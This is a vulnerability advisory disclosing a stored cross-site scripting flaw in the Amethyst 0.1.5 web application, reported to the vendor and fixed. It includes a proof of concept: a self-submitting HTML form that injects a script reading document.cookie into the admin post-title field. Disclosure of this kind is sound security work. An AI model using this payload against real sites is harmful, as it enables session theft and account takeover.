Vulnerability ID: HTB22502 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_amethyst_2.html Product: Amethyst Vendor: Hulihan Applications ( http://hulihanapplications.com/projects/amethyst ) Vulnerable Version: 0.1.5 and Probably Prior Versions Vendor Notification: 22 July 2010 Vulnerability Type: Stored XSS (Cross Site Scripting) Status: Fixed by Vendor Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the admin/update script to properly sanitize user-supplied input in "post[title]" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/admin/update/2"; method="post" name="main" > <input type="hidden" name="post[title]" value='title"><script>alert(document.cookie)</script>' /> <input type="hidden" name="post[content]" value="this is my post" /> <input type="hidden" name="post[created_at(1i)]" value="2010" /> <input type="hidden" name="post[created_at(2i)]" value="7" /> <input type="hidden" name="post[created_at(3i)]" value="15" /> <input type="hidden" name="post[created_at(4i)]" value="20" /> <input type="hidden" name="post[created_at(5i)]" value="39" /> <input type="hidden" name="post[updated_at(1i)]" value="2010" /> <input type="hidden" name="post[updated_at(2i)]" value="7" /> <input type="hidden" name="post[updated_at(3i)]" value="15" /> <input type="hidden" name="post[updated_at(4i)]" value="20" /> <input type="hidden" name="post[updated_at(5i)]" value="39" /> <input type="hidden" name="commit" value="Create" /> </form> <script> document.main.submit(); </script> Solution: Upgrade to the most recent version
